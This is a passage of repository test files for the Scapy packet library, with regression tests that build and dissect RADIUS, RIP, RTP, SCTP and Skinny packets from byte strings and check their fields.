leapO\\x16\\x01\\x02\\x00\\x14\\x11\\x01\\x00\\x08\\xb8\\xc4\\x1a4\\x97x\\xd3\\x82leapP\\x12\\xd3\\x12\\x17\\xa6\\x0c.\\x94\\x85\\x03]t\\xd1\\xdb\\xd0\\x13\\x8c\\x18\\x12iQs\\xf7iSb@k\\x9d,\\xa0\\x99\\x8ehO'\naccess_challenge = Radius(s)\naccess_challenge.compute_authenticator(access_request.authenticator, b\"radiuskey\") == access_challenge.authenticator\n\n= RADIUS - Layers (1)\nradius_attr = RadiusAttr_EAP_Message(value = EAP())\nassert RadiusAttr_EAP_Message in radius_attr\nassert RadiusAttribute in radius_attr\ntype(radius_attr[RadiusAttribute])\nassert type(radius_attr[RadiusAttribute]) == RadiusAttr_EAP_Message\nassert EAP in radius_attr.value\n\n= RADIUS - sessions (1)\np = IP()/TCP(sport=1812)/Radius(authenticator=\"scapy\")/RadiusAttribute(value=\"scapy\")\nl = PacketList(p)\ns = l.sessions()  # Crashed on commit: e42ecdc54556c4852ca06b1a6da6c1ccbf3f522e\nassert len(s) == 1\n\n= RADIUS - sessions (2)\np = IP()/UDP(sport=1812)/Radius(authenticator=\"scapy\")/RadiusAttribute(value=\"scapy\")\nl = PacketList(p)\ns = l.sessions()  # Crashed on commit: e42ecdc54556c4852ca06b1a6da6c1ccbf3f522e\nassert len(s) == 1\n\n= Issue GH#1407\ns = b\"Z\\xa5\\xaaUZ\\xa5\\xaaU\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xe9\\xc5\\x00\\x00\\x14'\\x02\\x00\\x00\\x001\\x9a\\xe44\\xea4\"\nisinstance(Radius(s), Radius)\n\n= RADIUS - attributes with IPv4 addresses\n\nr = raw(RadiusAttr_NAS_IP_Address())\np = RadiusAttr_NAS_IP_Address(r)\nassert p.type == 4\n\nr = raw(RadiusAttr_Framed_IP_Address())\np = RadiusAttr_Framed_IP_Address(r)\nassert p.type == 8\n\n= Radius - fragmented EAP - GH2832\n\nconf.contribs[\"radius\"] = {}\n\ns = b'\\x0b\\x1c\\x04,%[\\xa5\\x11\\x0b\\xdc\\x8f\\x94\\xf2\\xe0\\x01\\x8a\\xacNI\\x8eO\\xff\\x01\\x97\\x00\\xff\\r\\xc0\\x00\\x1a\\x15\\xd0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x4f\\x03\\x00P\\x12n\\x14\\xd1\\x9f\\xa8\\xf3\\t\\xe4\\xc0\\x82\\xd6\\x07AB\\xd5\\xf5\\x18\\x12\\x19\\xd6\\x9eX\\x05A\\x93jo\\x9a\\t:\\xa9g_\\xc2'\n\npkt = Radius(s)\nassert len(pkt.attributes) == 3\nassert pkt.attributes[0].value.tls_data == b'\\0' * 244\nassert pkt.attributes[1].type == 80\nassert pkt.attributes[1].len == 18\nassert pkt.attributes[2].type == 24\nassert pkt.attributes[2].len == 18\n\nconf.contribs.setdefault(\"radius\", {})[\"auto-defrag\"] = False\n\nwith no_debug_dissector():\n    pkt = Radius(s)\n\nassert len(pkt.attributes) == 4\nassert pkt.attributes[0].type == 79\nassert pkt.attributes[1].type == 79\nassert pkt.attributes[1].value.load == b'\\0'\nassert pkt.attributes[2].type == 80\nassert pkt.attributes[2].len == 18\nassert pkt.attributes[3].type == 24\nassert pkt.attributes[3].len == 18\n\n= RadiusAttr_User_Password - Parse and Decrypt\n\nr = b'\\x01\\x00\\x00\\x1c0x10x20x30x40x50\\x02\\x08geheim'\np = Radius(r)\nassert isinstance(p.attributes[0], RadiusAttr_User_Password)\n\np = Ether(b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00E\\x00\\x00Z\\x00\\x8e\\x00\\x00@\\x11|\\x03\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x9f<\\x07\\x14\\x00F\\xfeY\\x01\\xfb\\x00>s0\\x00\\x13\\x86x\\xd7\\x11\\xc4\\x9e\\xe1=\\xce&r<P\\x12\\xbfL!\\xb2\\xd5WP!\\xa8)}\\tYZ&*\\x01\\x06user\\x02\\x12\\x8f\\x00\\x8e\\xdb4\\xb1\\x1a\\xaf\\x1f\\xc7[\\x9aD\\xfff\\xbd')\nassert isinstance(p.attributes[2], RadiusAttr_User_Password)\nassert p.attributes[2].decrypt(p[Radius], b\"SECRET\") == b\"password\"\n\n= Radius - summary\n\npkt = Ether(b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00E\\x00\\x00\\xado\\x90@\\x00@\\x11\\xcc\\xad\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\xe1\\xea\\x07\\x14\\x00\\x99\\xfe\\xac\\x01\\x01\\x00\\x91\\xe3\\x99\\x1b\\xec\\x1e\\x82\\x8a\\xfcb\\xf6\\xbf\\x824\\x13\\xc8\\x1d\\x04\\x06\\x7f\\x00\\x01\\x01 \\x07mynas\\x01\\x06user\\x06\\x06\\x00\\x00\\x00\\x01\\x1a\\x18\\x00\\x00\\x017\\x0b\\x12(\\xa0\\x18u\\x0c\\x13\\x8c~@\\xb71\\xa1\\xe9\\xfd\\x1e\\xdc\\x1a:\\x00\\x00\\x017\\x194\\x00\\x00\\xe2\\x1fY\\xd4O8\\x8b\\xc6\\xf3\\x07\\xd6\\xe5?:3!\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00g-\\xd8%\\x03\\x04\\xed\\xa7\\xc6O\\x83\"\\xdc\\xe2\\x07\\xaa\\xf8\\x15\\xed\\xc3~\\x08GHP\\x12/)\\xa2\\t\\x9dA8\\xf9>\\xa7V\\xba\\xf6\\xf0LG')\nassert pkt.summary() == \"Ether / IP / UDP / RADIUS Access-Request (User:'user' MS-CHAP2)\"\n\npkt = Ether(b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00E\\x00\\x00Z\\x00\\x8e\\x00\\x00@\\x11|\\x03\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x9f<\\x07\\x14\\x00F\\xfeY\\x01\\xfb\\x00>s0\\x00\\x13\\x86x\\xd7\\x11\\xc4\\x9e\\xe1=\\xce&r<P\\x12\\xbfL!\\xb2\\xd5WP!\\xa8)}\\tYZ&*\\x01\\x06user\\x02\\x12\\x8f\\x00\\x8e\\xdb4\\xb1\\x1a\\xaf\\x1f\\xc7[\\x9aD\\xfff\\xbd')\nassert pkt.summary() == \"Ether / IP / UDP / RADIUS Access-Request (User:'user' PAP)\"\n"
  },
  {
    "path": "test/scapy/layers/rip.uts",
    "content": "% RIP regression tests for Scapy\n\n############\n############\n+ RIP tests\n\n= RIP - build\ns = raw(IP()/UDP(sport=520)/RIP()/RIPEntry()/RIPAuth(authtype=2, password=\"scapy\"))\ns == b'E\\x00\\x00H\\x00\\x01\\x00\\x00@\\x11|\\xa2\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x02\\x08\\x02\\x08\\x004\\xae\\x99\\x01\\x01\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\xff\\xff\\x00\\x02scapy\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\n= RIP - UDP bindings\nw = IP(raw(IP()/UDP()/RIP()/RIPEntry()/RIPAuth(authtype=2, password=\"scapy\")))\nassert RIPAuth in w\nassert w[RIPAuth].password.startswith(b\"scapy\")\n\n= RIP - dissection\np = IP(s)\nRIPEntry in p and RIPAuth in p and p[RIPAuth].password.startswith(b\"scapy\")\n"
  },
  {
    "path": "test/scapy/layers/rtp.uts",
    "content": "% RTP regression tests for Scapy\n\n# More information at http://www.secdev.org/projects/UTscapy/\n\n############\n# RTP\n############\n\n+ RTP tests\n\n= test rtp with extension header\n~ rtp\n\ndata = b'\\x90o\\x14~YY\\xf5h\\xcc#\\xd7\\xcfUH\\x00\\x03\\x167116621 \\x000\\x00'\npkt = RTP(data)\nassert \"RTP\" in pkt\nparsed = pkt[\"RTP\"]\nassert parsed.version == 2\nassert parsed.extension\nassert parsed.numsync == 0\nassert not parsed.marker\nassert parsed.payload_type == 111\nassert parsed.sequence == 5246\nassert parsed.timestamp == 1499067752\nassert parsed.sourcesync == 0xcc23d7cf\nassert \"RTPExtension\" in parsed, parsed.show()\nassert parsed[\"RTPExtension\"].header_id == 0x5548\nassert parsed[\"RTPExtension\"].header == [0x16373131,0x36363231,0x20003000]\n\n= test layer creation\n\ncreated = RTP(extension=True, payload_type=\"PCMA\", sequence=0x1234, timestamp=12345678, sourcesync=0xabcdef01)\ncreated /= RTPExtension(header_id=0x4321, header=[0x11223344])\nassert raw(created) == b'\\x90\\x08\\x124\\x00\\xbcaN\\xab\\xcd\\xef\\x01C!\\x00\\x01\\x11\"3D'\nparsed = RTP(raw(created))\nassert parsed.payload_type == 8\nassert \"RTPExtension\" in parsed, parsed.show()\nassert parsed[\"RTPExtension\"].header == [0x11223344]\n\n= test RTP without extension\n\ncreated = RTP(extension=False, payload_type=\"DVI4\", sequence=0x1234, timestamp=12345678, sourcesync=0xabcdef01)\nassert raw(created) == b'\\x80\\x11\\x124\\x00\\xbcaN\\xab\\xcd\\xef\\x01'\nparsed = RTP(raw(created))\nassert parsed.sourcesync == 0xabcdef01\nassert \"RTPExtension\" not in parsed\n\n"
  },
  {
    "path": "test/scapy/layers/sctp.uts",
    "content": "% SCTP regression tests for Scapy\n\n# More information at http://www.secdev.org/projects/UTscapy/\n\n\n############\n############\n+ SCTP\n\n= SCTP - Chunk Init - build\ns = raw(IP()/SCTP()/SCTPChunkInit(params=[SCTPChunkParamIPv4Addr()]))\ns == b'E\\x00\\x00<\\x00\\x01\\x00\\x00@\\x84|;\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00@,\\x0b_\\x01\\x00\\x00\\x1c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x05\\x00\\x08\\x7f\\x00\\x00\\x01'\n\n= SCTP - Chunk Init - dissection\np = IP(s)\nSCTPChunkParamIPv4Addr in p and p[SCTP].chksum == 0x402c0b5f and p[SCTPChunkParamIPv4Addr].addr == \"127.0.0.1\"\n\n= SCTP - SCTPChunkSACK - build\ns = raw(IP()/SCTP()/SCTPChunkSACK(gap_ack_list=[\"7:28\"]))\ns == b'E\\x00\\x004\\x00\\x01\\x00\\x00@\\x84|C\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00;\\x01\\xd4\\x04\\x03\\x00\\x00\\x14\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x07\\x00\\x1c'\n\n= SCTP - SCTPChunkSACK - dissection\np = IP(s)\nSCTPChunkSACK in p and p[SCTP].chksum == 0x3b01d404 and p[SCTPChunkSACK].gap_ack_list[0] == \"7:28\"\n\n= SCTP - answers\n(IP()/SCTP()).answers(IP()/SCTP()) == True\n\n= SCTP basic header - Dissection\n~ sctp\nblob = b\"\\x1A\\x85\\x26\\x94\\x00\\x00\\x00\\x0D\\x00\\x00\\x04\\xD2\"\np = SCTP(blob)\nassert p.dport == 9876\nassert p.sport == 6789\nassert p.tag == 13\nassert p.chksum == 1234\n\n= basic SCTPChunkData - Dissection\n~ sctp\nblob = b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x14\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x64\\x61\\x74\\x61\"\np = SCTP(blob).lastlayer()\nassert isinstance(p, SCTPChunkData)\nassert p.reserved == 0\nassert p.delay_sack == 0\nassert p.unordered == 0\nassert p.beginning == 0\nassert p.ending == 0\nassert p.tsn == 0\nassert p.stream_id == 0\nassert p.stream_seq == 0\nassert p.len == (len(\"data\") + 16)\nassert raw(p.data) == b\"data\"\n\n= basic SCTPChunkIData - Dissection\n~ sctp\nblob = b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x02\\x00\\x18\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x64\\x61\\x74\\x61\"\np = SCTP(blob).lastlayer()\nassert isinstance(p, SCTPChunkIData)\nassert p.reserved == 0\nassert p.delay_sack == 0\nassert p.unordered == 0\nassert p.beginning == 1\nassert p.ending == 0\nassert p.tsn == 0\nassert p.stream_id == 0\nassert p.reserved_16 == 0\nassert p.ppid_fsn == 2\nassert p.len == (len(\"data\") + 20)\nassert p.data == b\"data\"\n\n= basic SCTPChunkForwardTSN - Dissection\n~ sctp\nblob = b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xc0\\x00\\x00\\x10\\x00\\x00\\x1e\\x61\\x00\\x0a\\x00\\x01\\x00\\x0b\\x00\\x02\"\np = SCTP(blob).lastlayer()\nskip1 = SCTPForwardSkip(p.skips[0].load[0:4])\nskip2 = SCTPForwardSkip(p.skips[0].load[4::])\nassert isinstance(p, SCTPChunkForwardTSN)\nassert p.len == 16\nassert p.new_tsn == 7777\nassert skip1.stream_id == 10\nassert skip1.stream_seq == 1\nassert skip2.stream_id == 11\nassert skip2.stream_seq == 2\n\n= basic SCTPChunkIForwardTSN - Dissection\n~ sctp\nblob = b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xc2\\x00\\x00\\x18\\x00\\x00\\x1e\\x61\\x00\\x0a\\x00\\x00\\x00\\x00\\x00\\x14\\x00\\x0b\\x00\\x01\\x00\\x00\\x00\\x15\"\np = SCTP(blob).lastlayer()\nskip1 = SCTPIForwardSkip(p.skips[0].load[0:8])\nskip2 = SCTPIForwardSkip(p.skips[0].load[8::])\nassert isinstance(p, SCTPChunkIForwardTSN)\nassert p.len == 24\nassert p.new_tsn == 7777\nassert skip1.stream_id == 10\nassert skip1.reserved == 0\nassert skip1.unordered == 0\nassert skip1.message_id == 20\nassert skip2.stream_id == 11\nassert skip2.reserved == 0\nassert skip2.unordered == 1\nassert skip2.message_id == 21\n\n= basic SCTPChunkInit - Dissection\n~ sctp\nblob = b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x14\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\np = SCTP(blob).lastlayer()\nassert isinstance(p, SCTPChunkInit)\nassert p.flags == 0\nassert p.len == 20\nassert p.init_tag == 0\nassert p.a_rwnd == 0\nassert p.n_out_streams == 0\nassert p.n_in_streams == 0\nassert p.init_tsn == 0\nassert p.params == []\n\n= SCTPChunkInit multiple valid parameters - Dissection\n~ sctp\nblob = b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x5C\\x00\\x00\\x00\\x65\\x00\\x00\\x00\\x66\\x00\\x67\\x00\\x68\\x00\\x00\\x00\\x69\\x00\\x0C\\x00\\x06\\x00\\x05\\x00\\x00\\x80\\x00\\x00\\x04\\xC0\\x00\\x00\\x04\\x80\\x08\\x00\\x07\\x0F\\xC1\\x80\\x00\\x80\\x03\\x00\\x04\\x80\\x02\\x00\\x24\\x87\\x77\\x21\\x29\\x3F\\xDA\\x62\\x0C\\x06\\x6F\\x10\\xA5\\x39\\x58\\x60\\x98\\x4C\\xD4\\x59\\xD8\\x8A\\x00\\x85\\xFB\\x9E\\x2E\\x66\\xBA\\x3A\\x23\\x54\\xEF\\x80\\x04\\x00\\x06\\x00\\x01\\x00\\x00\"\np = SCTP(blob).lastlayer()\nassert isinstance(p, SCTPChunkInit)\nassert p.flags == 0\nassert p.len == 92\nassert p.init_tag == 101\nassert p.a_rwnd == 102\nassert p.n_out_streams == 103\nassert p.n_in_streams == 104\nassert p.init_tsn == 105\nassert len(p.params) == 7\nparams = {type(param): param for param in p.params}\nassert (set(params.keys()) == {SCTPChunkParamECNCapable, SCTPChunkParamFwdTSN,\n                              SCTPChunkParamSupportedExtensions, SCTPChunkParamChunkList,\n                              SCTPChunkParamRandom, SCTPChunkParamRequestedHMACFunctions,\n                              SCTPChunkParamSupportedAddrTypes})\nassert params[SCTPChunkParamECNCapable] == SCTPChunkParamECNCapable()\nassert params[SCTPChunkParamFwdTSN] == SCTPChunkParamFwdTSN()\nassert params[SCTPChunkParamSupportedExtensions] == SCTPChunkParamSupportedExtensions(len=7)\nassert params[SCTPChunkParamChunkList] == SCTPChunkParamChunkList(len=4)\nassert params[SCTPChunkParamRandom].len == 4+32\nassert len(params[SCTPChunkParamRandom].random) == 32\nassert params[SCTPChunkParamRequestedHMACFunctions] == SCTPChunkParamRequestedHMACFunctions(len=6)\nassert params[SCTPChunkParamSupportedAddrTypes] == SCTPChunkParamSupportedAddrTypes(len=6)\n\n= basic SCTPChunkInitAck - Dissection\n~ sctp\nblob = b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x14\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\np = SCTP(blob).lastlayer()\nassert isinstance(p, SCTPChunkInitAck)\nassert p.flags == 0\nassert p.len == 20\nassert p.init_tag == 0\nassert p.a_rwnd == 0\nassert p.n_out_streams == 0\nassert p.n_in_streams == 0\nassert p.init_tsn == 0\nassert p.params == []\n\n= SCTPChunkInitAck with state cookie - Dissection\n~ sctp\nblob = b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x4C\\x00\\x00\\x00\\x65\\x00\\x00\\x00\\x66\\x00\\x67\\x00\\x68\\x00\\x00\\x00\\x69\\x80\\x00\\x00\\x04\\x00\\x0B\\x00\\x0D\\x6C\\x6F\\x63\\x61\\x6C\\x68\\x6F\\x73\\x74\\x00\\x00\\x00\\xC0\\x00\\x00\\x04\\x80\\x08\\x00\\x07\\x0F\\xC1\\x80\\x00\\x00\\x07\\x00\\x14\\x00\\x10\\x9E\\xB2\\x86\\xCE\\xE1\\x7D\\x0F\\x6A\\xAD\\xFD\\xB3\\x5D\\xBC\\x00\"\np = SCTP(blob).lastlayer()\nassert isinstance(p, SCTPChunkInitAck)\nassert p.flags == 0\nassert p.len == 76\nassert p.init_tag == 101\nassert p.a_rwnd == 102\nassert p.n_out_streams == 103\nassert p.n_in_streams == 104\nassert p.init_tsn == 105\nassert len(p.params) == 5\nparams = {type(param): param for param in p.params}\nassert (set(params.keys()) == {SCTPChunkParamECNCapable, SCTPChunkParamHostname,\n                              SCTPChunkParamFwdTSN, SCTPChunkParamSupportedExtensions,\n                              SCTPChunkParamStateCookie})\nassert params[SCTPChunkParamECNCapable] == SCTPChunkParamECNCapable()\nassert raw(params[SCTPChunkParamHostname]) == raw(SCTPChunkParamHostname(len=13, hostname=\"localhost\"))\nassert params[SCTPChunkParamFwdTSN] == SCTPChunkParamFwdTSN()\nassert params[SCTPChunkParamSupportedExtensions] == SCTPChunkParamSupportedExtensions(len=7)\nassert params[SCTPChunkParamStateCookie].len == 4+16\nassert len(params[SCTPChunkParamStateCookie].cookie) == 16\n\n= basic SCTPChunkSACK - Dissection\n~ sctp\nblob = b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\np = SCTP(blob).lastlayer()\nassert isinstance(p, SCTPChunkSACK)\nassert p.flags == 0\nassert p.len == 16\nassert p.cumul_tsn_ack == 0\nassert p.a_rwnd == 0\nassert p.n_gap_ack == 0\nassert p.n_dup_tsn == 0\nassert p.gap_ack_list == []\nassert p.dup_tsn_list == []\n\n= basic SCTPChunkHeartbeatReq - Dissection\n~ sctp\nblob = b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x04\"\np = SCTP(blob).lastlayer()\nassert isinstance(p, SCTPChunkHeartbeatReq)\nassert p.flags == 0\nassert p.len == 4\nassert p.params == []\n\n= basic SCTPChunkHeartbeatAck - Dissection\n~ sctp\nblob = b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x05\\x00\\x00\\x04\"\np = SCTP(blob).lastlayer()\nassert isinstance(p, SCTPChunkHeartbeatAck)\nassert p.flags == 0\nassert p.len == 4\nassert p.params == []\n\n= basic SCTPChunkAbort - Dissection\n~ sctp\nblob = b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x06\\x00\\x00\\x04\"\np = SCTP(blob).lastlayer()\nassert isinstance(p, SCTPChunkAbort)\nassert p.reserved == 0\nassert p.TCB == 0\nassert p.len == 4\nassert p.error_causes == b\"\"\n\n= basic SCTPChunkShutDown - Dissection\n~ sctp\nblob = b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x07\\x00\\x00\\x08\\x00\\x00\\x00\\x00\"\np = SCTP(blob).lastlayer()\nassert isinstance(p, SCTPChunkShutdown)\nassert p.flags == 0\nassert p.len == 8\nassert p.cumul_tsn_ack == 0\n\n= basic SCTPChunkShutDownAck - Dissection\n~ sctp\nblob = b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x00\\x04\"\np = SCTP(blob).lastlayer()\nassert isinstance(p, SCTPChunkShutdownAck)\nassert p.flags == 0\nassert p.len == 4\n\n= basic SCTPChunkError - Dissection\n~ sctp\nblob = b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x09\\x00\\x00\\x04\"\np = SCTP(blob).lastlayer()\nassert isinstance(p, SCTPChunkError)\nassert p.flags == 0\nassert p.len == 4\nassert p.error_causes == b\"\"\n\n= basic SCTPChunkCookieEcho - Dissection\n~ sctp\nblob = b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0A\\x00\\x00\\x04\"\np = SCTP(blob).lastlayer()\nassert isinstance(p, SCTPChunkCookieEcho)\nassert p.flags == 0\nassert p.len == 4\nassert p.cookie == b\"\"\n\n= basic SCTPChunkCookieAck - Dissection\n~ sctp\nblob = b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0B\\x00\\x00\\x04\"\np = SCTP(blob).lastlayer()\nassert isinstance(p, SCTPChunkCookieAck)\nassert p.flags == 0\nassert p.len == 4\n\n= basic SCTPChunkShutdownComplete - Dissection\n~ sctp\nblob = b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0E\\x00\\x00\\x04\"\np = SCTP(blob).lastlayer()\nassert isinstance(p, SCTPChunkShutdownComplete)\nassert p.reserved == 0\nassert p.TCB == 0\nassert p.len == 4\n\n= basic SCTPChunkAuthentication - Dissection\n~ sctp\nblob = b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0f\\x00\\x00\\x08\\x00\\x00\\x00\\x00\"\np = SCTP(blob).lastlayer()\nassert isinstance(p, SCTPChunkAuthentication)\nassert p.flags == 0\nassert p.len == 8\nassert p.shared_key_id == 0\nassert p.HMAC_function == 0\n\n= basic SCTPChunkAddressConf - Dissection\n~ sctp\nblob = b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xc1\\x00\\x00\\x08\\x00\\x00\\x00\\x00\"\np = SCTP(blob).lastlayer()\nassert isinstance(p, SCTPChunkAddressConf)\nassert p.flags == 0\nassert p.len == 8\nassert p.seq == 0\nassert p.params == []\n\n= basic SCTPChunkAddressConfAck - Dissection\n~ sctp\nblob = b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\x00\\x00\\x08\\x00\\x00\\x00\\x00\"\np = SCTP(blob).lastlayer()\nassert isinstance(p, SCTPChunkAddressConfAck)\nassert p.flags == 0\nassert p.len == 8\nassert p.seq == 0\nassert p.params == []\n\n= basic SCTPChunkPad - Dissection\n~ sctp\nblob = b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x84\\x00\\x00\\x0b\\x70\\x61\\x64\\x00\"\np = SCTP(blob).lastlayer()\nassert isinstance(p, SCTPChunkPad)\nassert p.flags == 0\nassert p.len == 11\nassert p.padding == b'pad'\n\n= basic SCTPChunkReConfig - Dissection\n~ sctp\nblob = b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x82\\x00\\x00\\x04\"\np = SCTP(blob).lastlayer()\nassert isinstance(p, SCTPChunkReConfig)\nassert p.flags == 0\nassert p.len == 4\nassert p.params == []\n\n= SCTPChunkParamRandom - Consecutive calls\n~ sctp\nparam1, param2 = SCTPChunkParamRandom(), SCTPChunkParamRandom()\nassert param1.random != param2.random\n\n= SCTP in ICMP\n~ sctp icmp\np1 = IP(raw(IP(src=RandIP(), dst=RandIP()) / SCTP(sport=RandShort(), dport=RandShort())))\np2 = IP(raw(IP(src=RandIP(), dst=p1[IP].src) / ICMP(type=3, code=1) / p1))\nassert p2.answers(p1)\n"
  },
  {
    "path": "test/scapy/layers/skinny.uts",
    "content": "% Skinny regression tests for Scapy\n\n# More information at http://www.secdev.org/projects/UTscapy/\n\n############\n############\n+ Skinny tests\n\n= Skinny - build & dissection\np = raw(IP(src=\"127.0.0.1\")/TCP()/Skinny(msg=\"ServiceURLStatMessage\"))\nassert p == b'E\\x00\\x004\\x00\\x01\\x00\\x00@\\x06|\\xc1\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x07\\xd0\\x07\\xd0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00P\\x02 \\x00S3\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00/\\x01\\x00\\x00'\nassert IP(p)[Skinny].msg == 303\n"
  },
  {
    "path": "test/scapy/layers/smb.uts",
